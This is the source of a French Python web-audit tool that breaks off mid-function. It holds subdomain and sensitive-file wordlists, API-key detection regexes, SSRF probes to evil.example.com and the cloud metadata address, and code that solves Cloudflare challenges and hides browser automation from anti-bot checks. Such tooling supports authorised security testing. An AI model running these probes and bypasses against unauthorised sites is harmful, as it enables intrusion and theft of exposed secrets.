#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
pentest — Outil d'audit de sécurité one-shot pour un site web.

Usage:
    pentest <url> [--slow] [--delay SEC] [--no-ssl] [--out FILE]
            [--browser] [--json] [--timeout SEC] [--cookies FICHIER.json]
            [--cve] [--min-sev low] [--deep]

Fait automatiquement, pour une URL donnée, tout ce qu'un audit boîte noire
effectif fait à la main :
  1. Baseline HTTP (en-têtes, cookies, technologies)
  2. Contournement challenge JS / WAF (Cloudflare __test / aes.js -> AES-128/CBC
     pur Python, Vercel Security Checkpoint, repli Chromium/Playwright --browser)
  3. Extraction sitemap XML + robots.txt -> liste de routes (filtre challenge)
  4. Découverte de sous-domaines (brute-force DNS + SAN du certificat + statut)
  5. Cartographie des routes (Vivant / 404 / 403, challenge = non vivant)
  6. Scan de secrets dans le contenu JS/HTML (clés API, PIN hardcodé,
     config Firebase)
  6b. Checks web modernes : CORS, méthodes OPTIONS, fichiers sensibles
      (.git/.env...), listage de répertoires, archives/sauvegardes,
      buckets cloud, SSRF /_next/image, découverte Auth.js
  6c. Formulaires : ViewState JSF (identique/forgé/vide/10k), tokens CSRF,
      fuites de stack traces sur chemins d'erreur
  6d. Tests de paramètres (--deep) : SQLi par erreur, XSS réfléchi,
      open redirect + détection de sous-domaines à takeover (CNAME)
  7. Vérification d'accès public Firebase (Firestore / Storage)
  8. Énumération d'identifiants & détection de front "inerte"
  9. Audit des en-têtes de sécurité + TLS/certificat
  10. Rapport final .md (+ .json avec --json) trié par criticité, avec preuves
      et section TLS

Anti-détection intégrée : délais entre requêtes, --slow, pause automatique
sur code 429 (Retry-After), pas de parallélisme.

⚠ Ce script doit être utilisé UNIQUEMENT sur des systèmes que vous êtes
autorisé à tester (vous, un ami, ou un client). Une utilisation non autorisée
est illégale.
"""

import argparse
import concurrent.futures
import datetime
import html
import ipaddress
import json
import os
import random
import re
import socket
import ssl
import subprocess
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

# ---------------------------------------------------------------------------
# Cœur d'analyse pur (module jumeau, couvert par tests/tests_pentestlib.py)
# ---------------------------------------------------------------------------
_HERE = os.path.dirname(os.path.abspath(__file__))
if _HERE not in sys.path:
    sys.path.insert(0, _HERE)
from pentestlib import (  # noqa: E402
    SECURITY_HEADERS,
    audit_headers,
    qualify_findings,
    build_report,
    recommendations,
    compute_cert_days_left,
    parse_txt_answers,
)
from transport import (  # noqa: E402
    UA,
    BROWSER_HEADERS_EXTRA,
    Session,
    _pmap,
    proxy_connect,
    load_cookies_from_file,
    set_proxy,
    proxy_env,
    proxy_scheme,
)

__version__ = "1.5.0"

# ---------------------------------------------------------------------------
# Liste des sous-domaines à brute-forcer (commun, élargie)
# ---------------------------------------------------------------------------
SUBDOMAINS = [
    "www", "api", "app", "apps", "bot", "mail", "mail2", "mx", "mx1", "mx2",
    "smtp", "imap", "pop", "pop3", "webmail", "cpanel", "whm", "plesk", "nas",
    "ftp", "sftp", "rsync", "vpn", "openvpn", "proxy", "dashboard", "admin",
    "adm", "manage", "manager", "dev", "development", "staging", "stage",
    "test", "testing", "tests", "qa", "uat", "preprod", "pre-prod", "beta",
    "alpha", "demo", "sandbox", "integ", "int", "internal", "intranet",
    "extranet", "git", "gitlab", "github", "bitbucket", "jenkins", "ci",
    "cd", "build", "nexus", "artifactory", "grafana", "kibana", "prometheus",
    "zabbix", "nagios", "icinga", "monitoring", "metrics", "logs", "elastic",
    "elasticsearch", "phpmyadmin", "pma", "adminer", "db", "database",
    "mysql", "postgres", "redis", "mongodb", "cassandra", "portal", "docs",
    "docs-archive", "static", "static1", "cdn", "cdn1", "cdn2", "auth", "sso",
    "login", "oauth", "account", "accounts", "secure", "idp", "keycloak",
    "api2", "api3", "api-gateway", "v1", "v2", "v3", "m", "mobile", "blog",
    "news", "shop", "store", "boutique", "status", "statuspage", "health",
    "healthcheck", "actuator", "backup", "backups", "old", "legacy", "demo",
    "beta", "stage", "preprod", "playground", "wip", "research", "labs",
    "tools", "tool", "utility", "tools-help", "support", "help", "faq",
    "forum", "community", "chat", "webhooks", "hooks", "gateway", "router",
    "lb", "loadbalancer", "auth0", "cognito", "firebase", "supabase",
    "storage", "uploads", "files", "media", "img", "images", "assets",
    "static2", "ssl", "cert", "ocsp", "ca", "registry", "harbor", "docker",
    "k8s", "cluster", "kube", "rancher", "portainer", "traefik", "consul",
    "vault", "nomad", "minio", "s3", "object", "ns1", "ns2", "dns", "resolver",
    "localhost", "self", "localhost2", "edge", "origin", "direct", "www2",
    "shop2", "m-stage", "m-test", "m-dev",
]

# Patterns de secrets à rechercher dans le contenu JS/HTML
SECRET_PATTERNS = [
    # (nom, regex, criticité)
    ("Clé API OpenRouter",     r"sk-or-v1-[A-Za-z0-9]{20,}", "élevée",
     "Clé OpenRouter (IA payante) exposée côté client"),
    ("Clé API Anthropic Claude", r"sk-ant-[A-Za-z0-9\-_]{20,}", "élevée",
     "Clé API Anthropic exposée côté client"),
    ("Clé API OpenAI",         r"sk-(?:proj|svcacct)-[A-Za-z0-9_\-]{20,}", "élevée",
     "Clé API OpenAI exposée côté client"),
    ("Clé API Google/Firebase", r"AIzaSy[A-Za-z0-9_\-]{30,}", "moyenne",
     "Clé API Google (souvent Firebase) exposée côté client"),
    ("Clé AWS",                r"AKIA[0-9A-Z]{16}", "élevée",
     "Clé d'accès AWS exposée côté client"),
    ("Clé GitHub",             r"ghp_[A-Za-z0-9]{30,}", "élevée",
     "Token GitHub exposé côté client"),
    ("Clé Slack",              r"xox[baprs]-[A-Za-z0-9\-]{10,}", "élevée",
     "Token Slack exposé côté client"),
    ("Clé Stripe",             r"sk_live_[A-Za-z0-9]{20,}", "élevée",
     "Clé Stripe live exposée côté client"),
    ("Clé Twilio",             r"SK[0-9a-fA-F]{32}", "élevée",
     "Auth Token Twilio exposé côté client"),
    ("Token Bearer",           r"Bearer [A-Za-z0-9\-_.]{20,}", "moyenne",
     "Token d'authentification en clair dans le code"),
    ("Autorisation API key singulière", r"(?:['\"]api[_-]?key['\"]\s*[:=]\s*['\"][A-Za-z0-9_\-]{16,}['\"])",
     "élevée", "Autorisation API key en dur"),
    ("Clé Amplitude (analytics)", r"(?:amplitude[_-]?api[_-]?key|amplitudeProdApiKey)[\"']?\s*[:=]\s*[\"']([0-9a-f]{32})[\"']",
     "faible", "Clé Amplitude exposée (tracking, à retirer si inutile)"),
]

# Config Firebase = bloc JS contenant apiKey + projectId + storageBucket
# (regex historique, conservé pour compatibilité scan_secrets)
FIREBASE_RE = re.compile(
    r"firebaseConfig\s*=\s*\{[^}]*?apiKey\s*:\s*['\"]([^'\"]+)['\"][^}]*?"
    r"projectId\s*:\s*['\"]([^'\"]+)['\"][^}]*?"
    r"storageBucket\s*:\s*['\"]([^'\"]+)['\"]", re.I | re.S)

# Extraction Firebase tolérante : chaque clé indépendamment, ordre libre,
# séparateurs ':' ou '=' (minification), clés quotées ou non, JSON.PARSE inclus.
FIREBASE_KEYS = ("apiKey", "authDomain", "projectId", "storageBucket",
                 "messagingSenderId", "appId", "databaseURL")
FIREBASE_KEY_RE = re.compile(
    r"['\"]?(?P<k>%s)['\"]?\s*[:=]\s*['\"](?P<v>[^'\"]{2,120})['\"]"
    % "|".join(FIREBASE_KEYS), re.I)


def extract_firebase_configs(bodies):
    """Extrait toutes les configs Firebase (complètes ou partielles) des textes.
    Retourne une liste de dicts. Gère firebaseConfig, initializeApp, JSON.parse
    (clés quotées/non, ordre libre, minifié) + repli balayage global."""
    configs = []
    seen_api = set()
    seen_pid = set()
    global_found = False

    def _keep(cfg, m, src):
        cfg["_source"] = src
        uid = cfg.get("apikey") or cfg.get("projectid") or m.start()
        if cfg.get("apikey") and cfg["apikey"] in seen_api:
            return
        if cfg.get("apikey"):
            seen_api.add(cfg["apikey"])
        if cfg.get("projectid") and cfg["projectid"] in seen_pid:
            return
        if cfg.get("projectid"):
            seen_pid.add(cfg["projectid"])
        configs.append(cfg)

    def _scan(txt, m, src):
        cfg = {}
        for km in FIREBASE_KEY_RE.finditer(txt):
            cfg.setdefault(km.group("k").lower(), km.group("v"))
        if cfg:
            _keep(cfg, m, src)
        return bool(cfg)

    for text in bodies:
        scanned_block = False
        for m in re.finditer(
                r"firebaseConfig\s*=\s*\{|initializeApp\s*\(\s*\{"
                r"|JSON\.parse\s*\(\s*\"((?:[^\"\\]|\\.)*)\"\s*\)",
                text, re.I):
            scanned_block = True
            g0 = m.group(0)
            if g0.lower().startswith("json.parse"):
                # contenu entre guillemets de la chaîne JS : on déséchappe
                raw = m.group(1)
                decoded = raw.replace('\\"', '"').replace("\\'", "'")
                if _scan(decoded, m, "json.parse"):
                    continue
            else:
                start = m.end() - 1
                i = start + 1
                depth = 1
                while i < len(text) and depth:
                    if text[i] == "{":
                        depth += 1
                    elif text[i] == "}":
                        depth -= 1
                    i += 1
                block = text[m.start():i]
                if _scan(block, m, "block"):
                    continue
        # repli : pas de bloc typique, mais des clés Firebase éparses ?
        # (ex: `var config = {...}`, config chargée via fetch) — on évite la
        # pollution avec clé isolée : il faut au moins 2 clés ou une AIzaSy.
        if not scanned_block:
            if _scan(text, text, "global"):
                global_found = True
    return configs

# PIN hardcodé (6 chiffres) dans un contexte de code
PIN_PATTERNS = [
    (r"(?:const|let|var)\s+(?:DEV_)?[Pp][Ii][Nn]\s*=\s*['\"](\d{3,8})['\"]", "PIN/constante développeur"),
    (r"(?:code|pwd|pin|secret|pass)\s*[=:]\s*['\"](\d{3,8})['\"]", "PIN/code en clair"),
]

# Fichiers/chemins sensibles à sonder (lecture seule, 1 requête chacun).
# Inspiré de exposed_check.py de webcve (version allégée sans doublon).
SENSITIVE_PATHS = [
    ("/.git/HEAD", "Dépôt git exposé", "élevée", r"ref:\s*refs/heads"),
    ("/.git/config", "Dépôt git config exposé", "élevée", r"\[core\]"),
    ("/.env", "Fichier .env exposé", "élevée", r"[A-Z_]{3,}="),
    ("/.env.bak", ".env backup exposé", "élevée", r"(?:APP_KEY|DB_PASSWORD|SECRET|API_KEY)="),
    ("/.env.local", ".env.local exposé", "élevée", r"[A-Z_]{3,}="),
    ("/.env.production", ".env production exposé", "critique", r"[A-Z_]{3,}="),
    ("/.env.example", ".env.example exposé", "faible", r"(?:APP_KEY|DB_PASSWORD|SECRET)="),
    ("/.well-known/security.txt", "security.txt (info)", "faible", r"Contact:"),
    ("/server-status", "server-status Apache exposé", "moyenne", r"Apache Status"),
    ("/actuator/health", "Actuator Spring exposé", "moyenne", r'"status"\s*:\s*"UP"'),
    ("/actuator/env", "Actuator /env secrets exposés", "élevée", r"propertySources"),
    ("/actuator/configprops", "Actuator configprops exposé", "élevée", r"propertySources"),
    ("/.DS_Store", ".DS_Store exposé", "moyenne", r"Bud1"),
    ("/.svn/entries", "SVN exposé", "moyenne", r"dir|svn"),
    ("/.svn/wc.db", "SVN wc.db exposé", "élevée", r"SQLite"),
    ("/crossdomain.xml", "crossdomain.xml", "faible", r"cross-domain-policy"),
    ("/clientaccesspolicy.xml", "clientaccesspolicy.xml", "faible", r"cross-domain-access"),
    ("/composer.json", "composer.json exposé", "faible", r"name|require|autoload"),
    ("/composer.lock", "composer.lock exposé", r"faible", r"content-hash"),
    ("/package.json", "package.json exposé", "faible", r"name|version|dependencies"),
    ("/package-lock.json", "package-lock exposé", r"faible", r"lockfileVersion"),
    ("/yarn.lock", "yarn.lock exposé", "faible", r"resolved"),
    ("/Gemfile", "Gemfile exposé", "faible", r"gem"),
    ("/Gemfile.lock", "Gemfile.lock exposé", "faible", r"GEM|specs"),
    ("/web.config", "web.config exposé", "moyenne", r"configuration|appSettings"),
    ("/.htaccess", ".htaccess exposé", "moyenne", r"RewriteRule|Allow from"),
    ("/.htpasswd", ".htpasswd exposé", "élevée", r"[^:]+:\$"),
    ("/wp-config.php.bak", "wp-config backup exposé", "élevée", r"DB_NAME|DB_USER"),
    ("/phpinfo.php", "phpinfo() exposé", "moyenne", r"phpinfo\(\)|PHP Version"),
    ("/robots.txt", "robots.txt", "faible", r"Disallow:|Sitemap:"),
    ("/sitemap.xml", "sitemap.xml", "faible", r"<urlset|<url>"),
    ("/.well-known/openid-configuration", "OpenID config", "faible", r"issuer"),
    ("/api/swagger.json", "Swagger JSON exposé", "moyenne", r"swagger|paths"),
    ("/debug", "Debug endpoint", "moyenne", r"debug|Debug"),
    ("/trace", "Trace endpoint", "moyenne", r"trace|Trace"),
    ("/admin", "Admin panel", "moyenne", r"admin|Admin"),
    ("/administrator", "Admin panel", "moyenne", r"admin|Admin"),
    ("/wp-admin", "WordPress admin", "moyenne", r"WordPress|wp-admin"),
    ("/login", "Login page", "faible", r"login|Login|sign-in"),
]

# Sonde SSRF via l'optimizer d'images Next.js (verdict sur statut + corps,
# sans exfiltrer) : 400 INVALID_IMAGE_OPTIMIZE_REQUEST = sain (allowlist).
NEXT_IMAGE_PROBES = [
    ("/_next/image?url=%2Flogo.png&w=96&q=75", "référence locale"),
    ("/_next/image?url=https%3A%2F%2Fevil.example.com%2Fx.png&w=96&q=75",
     "SSRF domaine externe"),
    ("/_next/image?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F&w=96&q=75",
     "SSRF métadonnées cloud"),
]

# Endpoints Auth.js / NextAuth à découvrir (lecture seule).
AUTHJS_ENDPOINTS = [
    "/api/auth/providers",
    "/api/auth/csrf",
    "/api/auth/session",
]

# En-têtes de sécurité à vérifier
# Chemins pour la détection de listage de répertoire / archives exposées
DIRECTORY_PATHS = [
    "/images/", "/uploads/", "/static/", "/assets/", "/downloads/",
    "/files/", "/backup/", "/media/", "/private/", "/temp/",
]
DIR_INDEX_MARKERS = (b"Index of /", b"<title>Index of", b"Parent Directory",
                     b"Directory listing for", b"listing: ")
ARCHIVE_PATHS = [
    "/backup.zip", "/backup.tar.gz", "/backup.tar", "/site.zip",
    "/www.zip", "/data.zip", "/db.sql", "/dump.sql", "/database.sql",
    "/.DS_Store", "/web.config", "/config.old", "/config.php.bak",
]

# Endpoints d'administration / développement couramment exposés
ENDPOINT_PATHS = [
    # (chemin, nom, preuve/marqueur, criticité)
    ("/phpinfo.php", "phpinfo() exposé", r"phpinfo\(\)|PHP Version", "élevée"),
    ("/server-status", "ModStatus apache exposé", r"Apache Server Status", "moyenne"),
    ("/server-info", "ModInfo apache exposé", r"Apache Server Information", "moyenne"),
    ("/.git/config", "Dépôt Git exposé", rb"\[core\]", "élevée"),
    ("/.svn/entries", "Dépôt SVN exposé", r"dir|svn", "moyenne"),
    ("/actuator", "Spring Actuator exposé", r"(?:_links|status|health|cache|env)", "moyenne"),
    ("/actuator/health", "Spring Actuator /health", r"status|UP|DOWN", "faible"),
    ("/actuator/env", "Spring Actuator /env (secrets)", r"propertySources", "élevée"),
    ("/console", "Console Django exposée", r"Django Administration|Consul", "élevée"),
    ("/swagger-ui/index.html", "Swagger UI exposé", r"Swagger", "moyenne"),
    ("/swagger-ui/", "Swagger UI exposé", r"Swagger", "moyenne"),
    ("/swagger/index.html", "Swagger UI exposé", r"Swagger", "moyenne"),
    ("/redoc", "ReDoc (API docs) exposé", r"ReDoc|swagger", "faible"),
    ("/openapi.json", "Spécification OpenAPI exposée", r"openapi|paths", "moyenne"),
    ("/v2/api-docs", "Docs API exposés", r"swagger|paths|definitions", "moyenne"),
    ("/api", "API publique non documentée", r"api", "faible"),
    ("/api/v1", "API v1 exposée", r"api", "faible"),
    ("/wp-json/wp/v2/users", "Fuite utilisateurs WordPress", rb"slug", "élevée"),
    ("/xmlrpc.php", "xmlrpc.php (brute-force/amplification)", r"XML-RPC", "moyenne"),
    ("/.env", "Fichier .env exposé", r"(?:APP_KEY|DB_PASSWORD|SECRET|API_KEY)=", "critique"),
    ("/.well-known/security.txt", "security.txt présent", r"Contact|Expires|Encryption", "faible"),
    ("/crossdomain.xml", "crossdomain.xml (Flash, ancien)", r"cross-domain-policy", "faible"),
]

# Wordlist compacte pour le brute-force de répertoires/fichiers (--dirb)
DIRB_WORDLIST = [
    "admin", "administrator", "login", "log", "logout", "signin", "signup",
    "register", "account", "accounts", "profile", "user", "users", "customer",
    "panel", "dashboard", "controlpanel", "cms", "wp-admin", "wp-login",
    "wp-content", "wp-includes", "wordpress", "backend", "front", "api",
    "rest", "graphql", "config", "configuration", "setup", "install",
    "license", "readme", "changelog", "CHANGELOG", "robots", "sitemap",
    "crossdomain", "phpinfo", "info", "status", "health", "actuator",
    "console", "debug", "test", "tests", "tmp", "temp", "logs", "log",
    "backup", "bak", "old", "save", "dump", "data", "db", "database",
    "sql", "dump.sql", "cgi-bin", "server-status", "manager", "webmail",
    "mail", "exchange", "owa", "remote", "vpn", "portal", "intranet",
    "uploads", "upload", "download", "downloads", "files", "file", "media",
    "img", "images", "assets", "static", "css", "js", "fonts", "inc",
    "include", "includes", "lib", "libs", "vendor", "node_modules", "src",
    "dist", "build", "public", "private", "secure", "hidden", "internal",
    "phpmyadmin", "pma", "adminer", "504", "404", "error", "errors",
    "docs", "documentation", "doc", "help", "support", "faq", "contact",
    "about", "api-docs", "swagger", "redoc", "graphiql",
]

# Suites de chiffrement faibles testées via openssl s_client (--tls-full)
WEAK_CIPHERS = [
    "RC4-SHA", "RC4-MD5", "DES-CBC3-SHA", "DES-CBC-SHA", "EDH-RSA-DES-CBC-SHA",
    "EDH-DSS-DES-CBC-SHA", "EXP-RC4-MD5", "EXP-DES-CBC-SHA", "EXP-RC2-CBC-MD5",
    "NULL-SHA", "NULL-MD5", "aNULL", "eNULL", "SEED-SHA", "IDEA-CBC-SHA",
    "PSK-3DES-EDE-CBC-SHA", "SRP-3DES-EDE-CBC-SHA",
]

MAIL_RE = re.compile(r"[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}")

WAF_MARKERS = [
    ("Cloudflare", ["cf-ray", "cf-cache-status", "cloudflare"], ["__cf_bm", "cf_clearance"]),
    ("CloudFront (AWS)", ["x-amz-cf-id", "x-amz-cf-pop", "cloudfront"], []),
    ("AWS WAF", ["x-amzn-waf-action"], []),
    ("Akamai", ["akamai-x-cache-on", "x-akamai-", "akamai"], []),
    ("Sucuri", ["x-sucuri-id", "x-sucuri-cache", "sucuri"], []),
    ("Imperva/Incapsula", ["x-iinfo", "incap_ses"], []),
    ("Vercel", ["x-vercel-id", "vercel"], ["__vercel_live_token"]),
    ("Fly.io", ["fly-request-id"], []),
    ("Netlify", ["x-nf-request-id"], []),
    ("O2Switch/PHP", ["php/"], []),
]

SOURCE_MAP_RE = re.compile(
    r"//[#@]\s*sourceMappingURL=([^\s]+\.map)", re.I)

# Marqueurs d'erreur SQL par SGBD (détection SQLi par erreur)
SQL_ERROR_MARKERS = [
    (r"You have an error in your SQL syntax", "MySQL"),
    (r"SQLSTATE\[\d+\]", "MySQL/PDO"),
    (r"Warning:\s+(mysql|mysqli|pg_)", "PHP/MySQL/PostgreSQL"),
    (r"PostgreSQL.*ERROR|syntax error at or near", "PostgreSQL"),
    (r"Unclosed quotation mark", "MSSQL"),
    (r"Microsoft OLE DB Provider for SQL Server", "MSSQL"),
    (r"ORA-\d{5}", "Oracle"),
    (r"SQLiteException|near \".*\": syntax error", "SQLite"),
    (r"javax\.persistence|PersistenceException|\.jdbc\.", "SQL (Java/JDBC)"),
]

# Paramètres courants testés pour l'open redirect
REDIRECT_PARAMS = ("url", "redirect", "next", "return", "returnUrl",
                   "goto", "target", "dest", "rurl")

# Services hébergeurs dont un CNAME non rattaché indique un takeover possible
TAKEOVER_SERVICES = re.compile(
    r"(github\.io|herokuapp\.com|azurewebsites\.net|cloudapp\.net|"
    r"netlify\.app|vercel\.app|surge\.sh|amazonaws\.com|cloudfront\.net|"
    r"shopify\.com|readthedocs\.io|ghost\.io|webflow\.io|framer\.website|"
    r"zendesk\.com|myftpupload\.com)", re.I)


def _challenge_type(body_text):
    """Classifie grossièrement le type de défi anti-bot."""
    if "slowAES" in body_text or "/aes.js" in body_text or "__test=" in body_text:
        return "cloudflare __test (simple)" if "Just a moment" not in body_text else "cloudflare"
    if "Vercel Security Checkpoint" in body_text or "x-vercel-challenge" in body_text:
        return "vercel security checkpoint (attack challenge)"
    if "Just a moment" in body_text:
        return "cloudflare text_challenge / Turnstile"
    if "challenge-platform" in body_text or "challenges.cloudflare.com" in body_text:
        return "cloudflare managed challenge"
    if "captcha" in body_text.lower():
        return "captcha"
    return "js-challenge"


def is_waf_challenge(status, headers, body):
    """True si la réponse est un challenge WAF (Cloudflare ou Vercel) et non
    le contenu réel. `headers` : dict minusculisé ; `body` : bytes."""
    if status != 403:
        return False
    hl = " ".join(f"{k}:{v}" for k, v in (headers or {}).items()).lower()
    if "cf-mitigated" in hl and "challenge" in hl:
        return True
    if "x-vercel-mitigated" in hl and "challenge" in hl:
        return True
    try:
        txt = (body or b"")[:4000].decode("utf-8", "ignore")
    except Exception:
        return False
    return ("Vercel Security Checkpoint" in txt
            or "Just a moment" in txt
            or "challenge-platform" in txt)


# ---------------------------------------------------------------------------
# Phase 2 — Solveur challenge Cloudflare (AES-128/CBC) en Python pur
# ---------------------------------------------------------------------------
_SBOX = [99,124,119,123,242,107,111,197,48,1,103,43,254,215,171,118,202,130,201,
125,250,89,71,240,173,212,162,175,156,164,114,192,183,253,147,38,54,63,247,204,52,
165,229,241,113,216,49,21,4,199,35,195,24,150,5,154,7,18,128,226,235,39,178,117,9,
131,44,26,27,110,90,160,82,59,214,179,41,227,47,132,83,209,0,237,32,252,177,91,106,
203,190,57,74,76,88,207,208,239,170,251,67,77,51,133,69,249,2,127,80,60,159,168,81,
163,64,143,146,157,56,245,188,182,218,33,16,255,243,210,205,12,19,236,95,151,68,23,
196,167,126,61,100,93,25,115,96,129,79,220,34,42,144,136,70,238,184,20,222,94,11,219,
224,50,58,10,73,6,36,92,194,211,172,98,145,149,228,121,231,200,55,109,141,213,78,169,
108,86,244,234,101,122,174,8,186,120,37,46,28,166,180,198,232,221,116,31,75,189,139,
138,112,62,181,102,72,3,246,14,97,53,87,185,134,193,29,158,225,248,152,17,105,217,
142,148,155,30,135,233,206,85,40,223,140,161,137,13,191,230,66,104,65,153,45,15,176,
84,187,22]

_RSBOX = [82,9,106,213,48,54,165,56,191,64,163,158,129,243,215,251,124,227,57,130,
155,47,255,135,52,142,67,68,196,222,233,203,84,123,148,50,166,194,35,61,238,76,149,
11,66,250,195,78,8,46,161,102,40,217,36,178,118,91,162,73,109,139,209,37,114,248,246,
100,134,104,152,22,212,164,92,204,93,101,182,146,108,112,72,80,253,237,185,218,94,21,
201,177,132,211,6,53,126,85,113,18,19,74,187,208,89,97,90,193,49,63,231,125,128,2,228,
59,148,169,202,188,34,174,136,236,70,183,1,172,224,111,99,119,27,66,0,87,134,160,171,
154,220,153,158,207,38,12,55,28,221,23,150,44,24,45,175,205,120,33,206,181,51,26,71,
146,108,103,121,96,223,116,17,83,146,30,14,180,110,188,25,186,138,145,192,81,98,241,
247,146,153,173,52,184,74,240,99,216,196,70,5,88,20,151,111,133,60,245,98,103,227,156,
190,26,118,189,149,13,122,150,130,132,78,210,79,200,136,242,233,246,240,238,95,168,235,
201,220,85,166,155,115,197,234,209,89,166,87,128,82,71,134,224,166,173,237,18,103,129,71]


def _hex2bytes(s):
    return bytes(int(s[i:i+2], 16) for i in range(0, len(s), 2))


def _expand_key(key):
    ks = [0]*176
    for i in range(16):
        ks[i] = key[i]
    rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]
    for i in range(16, 176, 4):
        t = [ks[i-4], ks[i-3], ks[i-2], ks[i-1]]
        if i % 16 == 0:
            k = i//16 - 1
            t = [_SBOX[t[1]] ^ rcon[k], _SBOX[t[2]], _SBOX[t[3]], _SBOX[t[0]]]
        for j in range(4):
            ks[i+j] = ks[i-16+j] ^ t[j]
    return ks


def _add_round_key(state, ks, r):
    for i in range(16):
        state[i] ^= ks[16*r+i]


def _inv_shift_rows(s):
    return [s[0], s[13], s[10], s[7], s[4], s[1], s[14], s[11],
            s[8], s[5], s[2], s[15], s[12], s[9], s[6], s[3]]


def _inv_sub_bytes(s):
    return [_RSBOX[b] for b in s]


def _mul(a, b):
    p = 0
    for _ in range(8):
        if b & 1:
            p ^= a
        hi = a & 0x80
        a = (a << 1) & 0xFF
        if hi:
            a ^= 0x1b
        b >>= 1
    return p


def _inv_mix_columns(s):
    out = [0]*16
    for c in range(4):
        i = 4*c
        out[i]   = _mul(s[i],14) ^ _mul(s[i+1],11) ^ _mul(s[i+2],13) ^ _mul(s[i+3],9)
        out[i+1] = _mul(s[i],9)  ^ _mul(s[i+1],14) ^ _mul(s[i+2],11) ^ _mul(s[i+3],13)
        out[i+2] = _mul(s[i],13) ^ _mul(s[i+1],9)  ^ _mul(s[i+2],14) ^ _mul(s[i+3],11)
        out[i+3] = _mul(s[i],11) ^ _mul(s[i+1],13) ^ _mul(s[i+2],9)  ^ _mul(s[i+3],14)
    return out


def _decrypt_block(key, block):
    ks = _expand_key(key)
    state = list(block)
    _add_round_key(state, ks, 10)
    for r in range(9, 0, -1):
        state = _inv_shift_rows(state)
        state = _inv_sub_bytes(state)
        _add_round_key(state, ks, r)
        state = _inv_mix_columns(state)
    state = _inv_shift_rows(state)
    state = _inv_sub_bytes(state)
    _add_round_key(state, ks, 0)
    return bytes(state)


def _aes_cbc_decrypt(key, iv, ct):
    out = b""
    prev = iv
    for i in range(0, len(ct), 16):
        blk = ct[i:i+16]
        out += bytes(x ^ y for x, y in zip(_decrypt_block(key, blk), prev))
        prev = blk
    return out


_JS_CHALLENGE_MARKERS = (b"slowAES", b"__test", b"/aes.js", b"Just a moment", b"challenge-platform",
                          b"Vercel Security Checkpoint", b"x-vercel-challenge")


def _is_js_challenge(body):
    return any(m in body for m in _JS_CHALLENGE_MARKERS) or b"__test=" in body


def solve_js_challenge(body_text):
    """Résout le challenge __test (slowAES/CBC). Retourne le cookie ou None."""
    m = re.search(
        r'toNumbers\("([0-9a-f]{32})"\)[^;]*?b=toNumbers\("([0-9a-f]{32})"\)[^;]*?'
        r'c=toNumbers\("([0-9a-f]{32})"\)', body_text)
    if not m:
        return None
    key, iv, ct = (_hex2bytes(m.group(i)) for i in (1, 2, 3))
    try:
        pt = _aes_cbc_decrypt(key, iv, ct)
        return ("__test", pt.hex())
    except Exception:
        return None


def _browser_fetch(url, timeout=45):
    """Repli Chromium/Playwright si le solveur pur échoue.

    Gère Cloudflare (__test, Turnstile, cf_clearance) et Vercel Security
    Checkpoint (attente + cookies de session). Retourne (body, cookies)
    ou None si le challenge persiste.
    """
    try:
        from playwright.sync_api import sync_playwright
    except Exception:
        print("  [!] Playwright non installé (repli navigateur indisponible)")
        return None
    browser = None
    try:
        with sync_playwright() as p:
            browser = p.chromium.launch(
                headless=True,
                args=["--disable-blink-features=AutomationControlled",
                      "--disable-dev-shm-usage", "--no-sandbox",
                      "--disable-infobars"])
            ctx = browser.new_context(user_agent=UA, viewport={"width": 1366, "height": 768},
                                      locale="fr-FR")
            try:
                ctx.add_init_script(
                    "Object.defineProperty(navigator,'webdriver',{get:()=>undefined});")
            except Exception:
                pass
            page = ctx.new_page()
            try:
                page.goto(url, wait_until="domcontentloaded", timeout=timeout * 1000)
            except Exception:
                pass
            got_clearance = False
            for _ in range(15):
                page.wait_for_timeout(3000)
                html = page.content()
                if not _is_js_challenge(html.encode("utf-8", "ignore")):
                    got_clearance = True
                    break
                cookies_now = [c["name"] for c in ctx.cookies(urlparse_netloc(url))]
                if any(n in ("cf_clearance", "_vercel_jwt", "_vcrcs",
                             "__Host-authjs.csrf-token", "__Secure-authjs.session-token")
                       for n in cookies_now):
                    # cookies de session visibles : le challenge est en cours
                    # de résolution, on continue d'attendre plutôt que sortir
                    continue
            body = page.content()
            cookies = ctx.cookies(urlparse_netloc(url))
            try:
                js_urls = page.evaluate(
                    "Array.from(document.querySelectorAll('script[src]'))"
                    ".map(s => s.src).filter(u => u && u.startsWith('http'))")
            except Exception:
                js_urls = []
            browser.close()
            browser = None
            if not got_clearance:
                print("  [!] Chromium : challenge anti-bot toujours présent "
                      "(ni contenu réel ni clearance obtenus)")
            return body.encode("utf-8", "ignore"), cookies, js_urls
    except Exception:
        return None
    finally:
        if browser is not None:
            try:
                browser.close()
            except Exception:
                pass


def urlparse_netloc(url):
    return urllib.parse.urlparse(url).netloc


def get_default_verify_locations():
    return ssl.create_default_context().get_ca_certs()


# ---------------------------------------------------------------------------
# Phase 4 — Sous-domaines (DNS + SAN cert)
# ---------------------------------------------------------------------------
def get_san_from_cert(hostname, port=443, timeout=10):
    """Renvoie la liste des SAN du certificat."""
    san = []
    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = proxy_connect(hostname, port, timeout=timeout)
        with s:
            with ctx.wrap_socket(s, server_hostname=hostname) as ss:
                der = ss.getpeercert(binary_form=True)
                cert_info = ss.getpeercert()
                for entry in cert_info.get("subjectAltName", []):
                    san.append(entry[1])
    except Exception:
        pass
    return san


def dns_resolve(hostname):
    try:
        return socket.gethostbyname(hostname)
    except socket.gaierror:
        return None


# ---------------------------------------------------------------------------
# Phase 6 — Scan de secrets dans le contenu
# ---------------------------------------------------------------------------
def scan_secrets(text, seen=None):
    """Renvoie une liste de dict {type, severity, match, evidence}."""
    if seen is None:
        seen = set()
    findings = []
    for name, reg, sev, desc in SECRET_PATTERNS:
        for m in re.finditer(reg, text):
            val = m.group(0)
            # Exclut les faux positifs évidents (docs, exemples)
            if _is_false_positive(name, val):
                continue
            key = (name, val)
            if key in seen:
                continue
            seen.add(key)
            findings.append({"type": name, "severity": sev, "match": val,
                             "evidence": _clip(text, m.start())})
    for reg, desc in PIN_PATTERNS:
